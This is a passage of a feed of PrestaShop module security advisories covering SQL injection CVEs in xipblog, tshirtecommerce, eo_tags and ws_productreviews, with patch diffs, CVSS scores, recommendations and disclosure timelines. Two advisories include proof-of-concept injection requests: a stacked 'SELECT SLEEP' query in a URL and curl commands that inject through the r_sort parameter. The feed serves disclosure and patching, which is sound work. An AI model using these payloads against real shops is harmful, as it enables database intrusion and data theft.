 		$id_lang = (int)Context::getContext()-&gt;language-&gt;id;
 		$id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
<span class="gi">+		$category_default = (int)$category_default;
</span> 		$sql = 'SELECT count(xc.`id_xipposts`) as allxipposts FROM `'._DB_PREFIX_.'xipposts` xc 
 		INNER JOIN `'._DB_PREFIX_.'xipposts_lang` xcl ON (xc.`id_xipposts` = xcl.`id_xipposts` AND xcl.`id_lang` = '.$id_lang.')
 		INNER JOIN `'._DB_PREFIX_.'xipposts_shop` xcs ON (xc.`id_xipposts` = xcs.`id_xipposts` AND xcs.`id_shop` = '.$id_shop.')
 		';
 		$sql .= ' WHERE xc.`active` = 1 ';
<span class="gd">-		if((int)$category_default != 0){
</span><span class="gi">+		if($category_default != 0){
</span> 			$sql .= ' AND xc.category_default = '.$category_default;
 		}
 		if($post_type != NULL){
<span class="p">@@ -466,13 +467,14 @@</span> class xippostsclass extends ObjectModel
 		$results = array();
 		$id_lang = (int)Context::getContext()-&gt;language-&gt;id;
 		$id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
<span class="gi">+		$category_default = (int)$category_default;
</span> 		$GetAllImageTypes = xipimagetypeclass::GetAllImageTypes();
 		$sql = 'SELECT * FROM `'._DB_PREFIX_.'xipposts` xc 
 		INNER JOIN `'._DB_PREFIX_.'xipposts_lang` xcl ON (xc.`id_xipposts` = xcl.`id_xipposts` AND xcl.`id_lang` = '.$id_lang.')
 		INNER JOIN `'._DB_PREFIX_.'xipposts_shop` xcs ON (xc.`id_xipposts` = xcs.`id_xipposts` AND xcs.`id_shop` = '.$id_shop.')
 		';
 		$sql .= ' WHERE xc.`active` = 1 ';
<span class="gd">-		if((int)$category_default != 0){
</span><span class="gi">+		if($category_default != 0){
</span> 			$sql .= ' AND xc.category_default = '.$category_default;
 		}
 		if($post_type != NULL){
<span class="p">@@ -559,7 +561,7 @@</span> class xippostsclass extends ObjectModel
 		';
 		$sql .= ' WHERE xc.`active` = 1 ';
 		if($post_type != NULL){
<span class="gd">-			$sql .= ' AND xc.post_type = "'.$post_type.'" ';
</span><span class="gi">+			$sql .= ' AND xc.post_type = "'.pSQL($post_type).'" ';
</span> 		}
 		$sql .= ' ORDER BY xc.`comment_count` '.$order_by;
 		$sql .= ' LIMIT '.(int)$count;
<span class="p">@@ -642,7 +644,7 @@</span> class xippostsclass extends ObjectModel
 		';
 		$sql .= ' WHERE xc.`active` = 1 ';
 		if($post_type != NULL){
<span class="gd">-			$sql .= ' AND xc.post_type = "'.$post_type.'" ';
</span><span class="gi">+			$sql .= ' AND xc.post_type = "'.pSQL($post_type).'" ';
</span> 		}
 		$sql .= ' ORDER BY xc.`id_xipposts` '.$order_by;
 		$sql .= ' LIMIT '.(int)$count;
<span class="p">@@ -727,7 +729,7 @@</span> class xippostsclass extends ObjectModel
     public static function PostCountUpdate($id = NULL){
     	if($id == NULL || $id == 0)
     		return false;
<span class="gd">-	    $sql = 'UPDATE '._DB_PREFIX_.'xipposts as xc SET xc.comment_count = (xc.comment_count+1) where xc.id_xipposts = '.$id;
</span><span class="gi">+	    $sql = 'UPDATE '._DB_PREFIX_.'xipposts as xc SET xc.comment_count = (xc.comment_count+1) where xc.id_xipposts = '.(int)$id;
</span> 		if(Db::getInstance()-&gt;execute($sql))
 			return true;
 		else
<span class="p">@@ -745,7 +747,7 @@</span> class xippostsclass extends ObjectModel
                INNER JOIN `'._DB_PREFIX_.'xipposts_lang` xcl ON (xc.`id_xipposts` = xcl.`id_xipposts` AND xcl.`id_lang` = '.$id_lang.')
                INNER JOIN `'._DB_PREFIX_.'xipposts_shop` xcs ON (xc.`id_xipposts` = xcs.`id_xipposts` AND xcs.`id_shop` = '.$id_shop.')
                ';
<span class="gd">-       $sql .= ' WHERE xc.`active` = 1 AND xc.post_type = "'.$post_type.'" AND xc.id_xipposts = '.(int)$id_post;
</span><span class="gi">+       $sql .= ' WHERE xc.`active` = 1 AND xc.post_type = "'.pSQL($post_type).'" AND xc.id_xipposts = '.(int)$id_post;
</span>        $queryexec = Db::getInstance()-&gt;getrow($sql);
        if(isset($queryexec) &amp;&amp; !empty($queryexec)){
        		foreach ($queryexec as $qkey =&gt; $qvalue) {
<span class="p">@@ -827,7 +829,7 @@</span> class xippostsclass extends ObjectModel
 		';
 		$sql .= ' WHERE xc.`active` = 1 ';
 		if($post_type != NULL){
<span class="gd">-			$sql .= ' AND xc.post_type = "'.$post_type.'" ';
</span><span class="gi">+			$sql .= ' AND xc.post_type = "'.pSQL($post_type).'" ';
</span> 		}
 		$sql .= ' ORDER BY xc.`position`  '.$order_by;
 		$sql .= ' LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n;
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 2.0.1.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-02</td>
      <td>Issue discovered during a code reviews by 202 ecommerce</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Contact the contributor sorcery.ie that make a fix in January 2021</td>
    </tr>
    <tr>
      <td>2023-03-05</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-23</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/xpert-idea/xipblog/">Github module product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27847">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;sorcery.ie&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time. We consider the issue resolved in versions after 2.0.1.]]></summary></entry><entry><title type="html">[CVE-2023-27637][CVE-2023-27638][CWE-89] Improper neutralization of SQL parameters in module PrestaShop Custom Product Designer (tshirtecommerce) for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html" rel="alternate" type="text/html" title="[CVE-2023-27637][CVE-2023-27638][CWE-89] Improper neutralization of SQL parameters in module PrestaShop Custom Product Designer (tshirtecommerce) for PrestaShop" /><published>2023-03-21T00:00:00+00:00</published><updated>2023-03-21T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html"><![CDATA[<p>In the module Custom Product Designer (tshirtecommerce), an anonymous user can perform an SQL injection attack. The vulnerability is actively exploited by bots. As the module doesn’t seems to be maintained since 2019, it’s strongly suggested to remove it.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27637">CVE-2023-27637</a> / <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27638">CVE-2023-27638</a></li>
  <li><strong>Published at</strong>: 2023-03-21</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tshirtecommerce</li>
  <li><strong>Impacted release</strong>: &lt;= 2.1.4 (latest version)</li>
  <li><strong>Product author</strong>: Tshirtecommerce Team</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The following issues have been seen in the last version of the PrestaShop Custom Product Designer (tshirtecommerce) module for PrestaShop, published on July 24, 2019 (not fixed up to date) :</p>
<ul>
  <li>an HTTP request can be forged with a compromised product_id GET parameter in order to exploit an insecure parameter in front controller file <code class="language-plaintext highlighter-rouge">designer.php</code>, which could lead to a SQL injection.</li>
  <li>and we also suspect that an HTTP request can be potentially forged with a compromised tshirtecommerce_design_cart_id GET parameter in order to exploit an insecure parameter in function <code class="language-plaintext highlighter-rouge">hookActionCartSave</code> and <code class="language-plaintext highlighter-rouge">updateCustomizationTable</code>, which could eventually lead to a SQL injection.</li>
</ul>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://example.com/module/tshirtecommerce/designer?product_id<span class="o">=</span>900982561&amp;parent_id<span class="o">=</span>1<span class="p">;</span>SELECT%20SLEEP<span class="o">(</span>5<span class="o">)</span><span class="p">;</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>Due to the number of vulnerabilities discovered, we advise removing the module and <code class="language-plaintext highlighter-rouge">tshirtecommerce</code> directory in root directory.</p>

<p>Patches listed below concerns the two SQL injections discovered.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/tshirtecommerce/controllers/front/designer.php
</span><span class="gi">+++ b/modules/tshirtecommerce/controllers/front/designer.php
</span><span class="p">@@ -105,7 +105,7 @@</span> class TshirtecommerceDesignerModuleFrontController extends ModuleFrontController
                        $content = '&lt;div class="row-designer"&gt;&lt;/div&gt;';
 
                        // Get data from ps_product table
<span class="gd">-                       $settings = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS("SELECT `design_product_id` FROM `"._DB_PREFIX_."product` WHERE `id_product`=".$parent_id);
</span><span class="gi">+                       $settings = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS("SELECT `design_product_id` FROM `"._DB_PREFIX_."product` WHERE `id_product`=".(int)$parent_id);
</span> 
                if (isset($settings[0]) &amp;&amp; isset($settings[0]['design_product_id'])) {
                     $design_product_id = $settings[0]['design_product_id'];
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/tshirtecommerce/tshirtecommerce.php 
</span><span class="gi">+++ b/modules/tshirtecommerce/tshirtecommerce.php 
</span><span class="p">@@ -1775,8 +1775,8 @@</span> class Tshirtecommerce extends Module
        protected function updateCustomizationTable($id_customization, $id_address_delivery, $id_cart, $id_product, $tdci, $tdt = 'cart')
        {
                Db::getInstance()-&gt;update('customization', array(
<span class="gd">-                       'tshirtecommerce_design_cart_id'=&gt; $tdci,
-                       'tshirtecommerce_design_type'   =&gt; $tdt),
</span><span class="gi">+                       'tshirtecommerce_design_cart_id'=&gt; pSQL($tdci),
+                       'tshirtecommerce_design_type'   =&gt; pSQL($tdt)),
</span>                        '`id_customization`                     = '.(int)$id_customization.' AND
                        `id_address_delivery`                   = '.(int)$id_address_delivery.' AND
                        `id_cart`                                               = '.(int)$id_cart.' AND
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to completely remove the tshirtecommerce module as long as the module is not updated</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-23</td>
      <td>First detection in Apache logs of an exploitation of this module</td>
    </tr>
    <tr>
      <td>2023-03-04</td>
      <td>Discovery of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2023-03-04</td>
      <td>Contacting the editor tshirtecommerce (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-04</td>
      <td>Contacting codecanyon / envato market (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-07</td>
      <td>Email reminder to the editor tshirtecommerce (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-07</td>
      <td>Email reminder to the editor tshirtecommerce by another channel (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-09</td>
      <td>Email reminder to the editor tshirtecommerce (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-16</td>
      <td>Email reminder to the editor tshirtecommerce (no reply) + Contact form in tshirtecommerce site (not working)</td>
    </tr>
    <tr>
      <td>2023-03-16</td>
      <td>Contacting again codecanyon / envato market</td>
    </tr>
    <tr>
      <td>2023-03-21</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://codecanyon.net/item/prestashop-custom-product-designer/19202018">Module Custom Product Designer (tshirtecommerce)</a></li>
  <li><a href="https://tshirtecommerce.com/">Editor Website : T-Shirt eCommerce</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27637">National Vulnerability Database CVE-2023-27637</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27638">National Vulnerability Database CVE-2023-27638</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[In the module Custom Product Designer (tshirtecommerce), an anonymous user can perform an SQL injection attack. The vulnerability is actively exploited by bots. As the module doesn’t seems to be maintained since 2019, it’s strongly suggested to remove it.]]></summary></entry><entry><title type="html">[CVE-2023-27569]-[CVE-2023-27570] Improper neutralization of SQL parameters in Profileo : Tracking et Conversions (eo_tags) module for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/03/15/eo_tags.html" rel="alternate" type="text/html" title="[CVE-2023-27569]-[CVE-2023-27570] Improper neutralization of SQL parameters in Profileo : Tracking et Conversions (eo_tags) module for PrestaShop" /><published>2023-03-15T00:00:00+00:00</published><updated>2023-03-15T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/03/15/eo_tags</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/03/15/eo_tags.html"><![CDATA[<p>In the module Tracking et Conversions (eo_tags) prior to version 1.4.19, an anonymous user can perform an SQL injection attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27569">CVE-2023-27569</a>, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27570">CVE-2023-27570</a></li>
  <li><strong>Published at</strong>: 2023-03-15</li>
  <li><strong>Advisory source</strong>: <a href="https://security.profileo.com/cve/eo_tags_2023-27569-27570/">security.profileo.com</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: eo_tags</li>
  <li><strong>Impacted release</strong>: &gt;=1.2.0 and &lt;1.4.19 (1.4.19 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Profileo</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>From version 1.2.0 published on Nov 17, 2017 to 1.4.18 published on Feb 21, 2023 (fixed in 1.4.19, published on Feb 28, 2023), an HTTP request can be forged with a compromized <code class="language-plaintext highlighter-rouge">_ga</code> cookie in order to exploit an insecure parameter in function <code class="language-plaintext highlighter-rouge">saveGanalyticsCookie()</code> and <code class="language-plaintext highlighter-rouge">gaParseCookie()</code>, which could lead to a SQL injection.</p>

<p>From version 1.2.0 published on Nov 17, 2017 to 1.2.19 published on Oct 22, 2019 (fixed in 1.3.0), an HTTP request can be forged with a compromised User-Agent or Referer in order to exploit insecure parameters in <code class="language-plaintext highlighter-rouge">trackReferrer()</code> function, which could lead to a SQL injection. As from 1.2.1, the code has been migrated to classes/EoTagsStats.php (<code class="language-plaintext highlighter-rouge">EoTagsStats::setNewGuest()</code>) and the vulnerability now requires Privileges (PR) and user interaction (UI) to be exploited, reducing the severity to 8.0.</p>

<p>This exploit uses cookies (and referer) to perform the attack, therefore the module name will be hidden during the exploit, so you won’t be able to identify this vulnerability in your conventional frontend logs. <strong>You will only see “GET /” or “POST /” inside your conventional frontend logs.</strong>. The compromized referer will be visible in your access logs, however you’ll not be able to see the compromized cookie.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Technical and personal data leaks</li>
</ul>

<h2 id="patch">Patch</h2>

<p>If present in <code class="language-plaintext highlighter-rouge">eo_tags.php</code></p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/eo_tags.php
</span><span class="gi">+++ b/eo_tags.php
</span><span class="p">@@ -1495,8 +1495,8 @@</span> class Eo_Tags extends Module
                 $old_cid = $this-&gt;getAnalyticsCID($this-&gt;context-&gt;cart-&gt;id);
                 $data = array(
                     'id_cart' =&gt; $this-&gt;context-&gt;cart-&gt;id,
<span class="gd">-                    'cid'     =&gt; $cid,
-                    'cookie'  =&gt; serialize($_COOKIE['_ga']),
</span><span class="gi">+                    'cid'     =&gt; pSQL($cid),
+                    'cookie'  =&gt; pSQL(serialize($_COOKIE['_ga'])),
</span>                 );
                 if (!$old_cid) {
                     Db::getInstance()-&gt;insert('eo_tags_ga_cookie', $data);
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/eo_tags.php
</span><span class="gi">+++ b/eo_tags.php
</span><span class="p">@@ -1356,11 +1356,11 @@</span> class Eo_Tags extends Module
                 ';
                 if ($referral = Db::getInstance()-&gt;getRow($sql2)) {
                     $data = array(
<span class="gd">-                        'id_guest'     =&gt; $cookie-&gt;id_guest,
</span><span class="gi">+                        'id_guest'     =&gt; (int)$cookie-&gt;id_guest,
</span>                         'ip_address'   =&gt; $referral['ip_address'],
<span class="gd">-                        'http_referer' =&gt; $referral['http_referer'],
-                        'request_uri'  =&gt; $referral['request_uri'],
-                        'user_agent'   =&gt; $user_agent,
</span><span class="gi">+                        'http_referer' =&gt; pSQL($referral['http_referer']),
+                        'request_uri'  =&gt; pSQL($referral['request_uri']),
+                        'user_agent'   =&gt; pSQL($user_agent),
</span>                         'date_add'     =&gt; $referral['date_add'],
                     );
                 }
<span class="p">@@ -1397,11 +1397,11 @@</span> class Eo_Tags extends Module
             $request_uri = substr($request_uri, 0, 255);
 
             $data = array(
<span class="gd">-                'id_guest'     =&gt; $cookie-&gt;id_guest,
</span><span class="gi">+                'id_guest'     =&gt; (int)$cookie-&gt;id_guest,
</span>                 'ip_address'   =&gt; $ip_address,
<span class="gd">-                'http_referer' =&gt; $http_referer,
-                'request_uri'  =&gt; $request_uri,
-                'user_agent'   =&gt; $user_agent,
</span><span class="gi">+                'http_referer' =&gt; pSQL($http_referer),
+                'request_uri'  =&gt; pSQL($request_uri),
+                'user_agent'   =&gt; pSQL($user_agent),
</span>                 'date_add'     =&gt; date('Y-m-d H:i:s'),
             );
         }
</code></pre></div></div>

<p>If present in <code class="language-plaintext highlighter-rouge">classes/EoTagsStats.php</code> <code class="language-plaintext highlighter-rouge">EoTagsStats::setNewGuest()</code></p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/EoTagsStats.php
</span><span class="gi">+++ b/classes/EoTagsStats.php
</span><span class="p">@@ -26,7 +26,7 @@</span> class EoTagsStats {
         $data = array(
             'id_customer' =&gt; $id_customer,
             'ip_address'  =&gt; $ip_address,
<span class="gd">-            'user_agent'  =&gt; $user_agent,
</span><span class="gi">+            'user_agent'  =&gt; pSQL($user_agent),
</span>             'date_add'    =&gt; date('Y-m-d H:i:s'),
         );
</code></pre></div></div>

<p>Profileo thanks TouchWeb.fr for its help discovering the vulnerability.
Feel free to contact security/at/profileo.com if you wish to receive a PHP script to automatically detect and patch this vulnerability on your website.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-24</td>
      <td>Discovery of the vulnerability by TouchWeb.fr</td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Vulnerability confirmed by Profileo</td>
    </tr>
    <tr>
      <td>2023-02-28</td>
      <td>Patch created by Profileo and release of version 1.4.19 fixing the issue</td>
    </tr>
    <tr>
      <td>2023-03-01</td>
      <td>Patch released to customers</td>
    </tr>
    <tr>
      <td>2023-03-15</td>
      <td>Publication on security.profileo.com</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.profileo.com/fr/">Profileo</a></li>
  <li><a href="https://www.touchweb.fr/">TouchWeb.fr</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27569">National Vulnerability Database - CVE-2023-27569</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27570">National Vulnerability Database - CVE-2023-27570</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[In the module Tracking et Conversions (eo_tags) prior to version 1.4.19, an anonymous user can perform an SQL injection attack.]]></summary></entry><entry><title type="html">[CVE-2023-25206] Multiple improper neutralization of SQL parameters in ws_productreviews module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/03/14/ws_productreviews.html" rel="alternate" type="text/html" title="[CVE-2023-25206] Multiple improper neutralization of SQL parameters in ws_productreviews module for PrestaShop" /><published>2023-03-14T00:00:00+00:00</published><updated>2023-03-14T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/14/ws_productreviews</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/14/ws_productreviews.html"><![CDATA[<p>In the module “Advanced Reviews: Photos, Reminder, Google Snippets” (ws_productreviews), an anonymous user can perform SQL injection in affected versions. 3.6.2 fixed vulnerabilities.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25206">CVE-2023-25206</a></li>
  <li><strong>Published at</strong>: 2023-03-14</li>
  <li><strong>Advisory source</strong>: Friends-of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ws_productreviews</li>
  <li><strong>Impacted release</strong>: &lt; 3.6.2</li>
  <li><strong>Product author</strong>: Anastasia</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In ws_productreviews module for PrestaShop up to 3.6.2, multiple sensitives SQL calls in class <code class="language-plaintext highlighter-rouge">ProductReviews::getByProduct()</code> (or method <code class="language-plaintext highlighter-rouge">getLastReviews()</code>, <code class="language-plaintext highlighter-rouge">getByValidate()</code>, <code class="language-plaintext highlighter-rouge">ProductReviews::getByValidate()</code>, …) can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://domain.tld/module/ws_productreviews/default?r_sort=date_add%60%3BSELECT%20SLEEP%2825%29%23'</span>
curl <span class="nt">-v</span> <span class="s1">'https://domain.tld/module/ws_productreviews/default?action=getList&amp;r_sort=date_add%60%3BSELECT%20SLEEP%2825%29%23'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/ProductReviews.php
</span><span class="gi">+++ b/ProductReviews.php
</span><span class="p">@@ -106,6 +106,9 @@</span> class ProductReviews extends ObjectModel
      */
     public static function getByProduct($id_product, $start = 1, $step = 5, $sort = 'date_add', $filtre = false, $id_customer = null)
     {
<span class="gi">+        if (!Validate::isOrderBy($sort)) {
+            $sort = 'date_add';
+        }
</span>         if (!Validate::isUnsignedId($id_product)) {
             return false;
         }
<span class="p">@@ -124,7 +127,7 @@</span> class ProductReviews extends ObjectModel
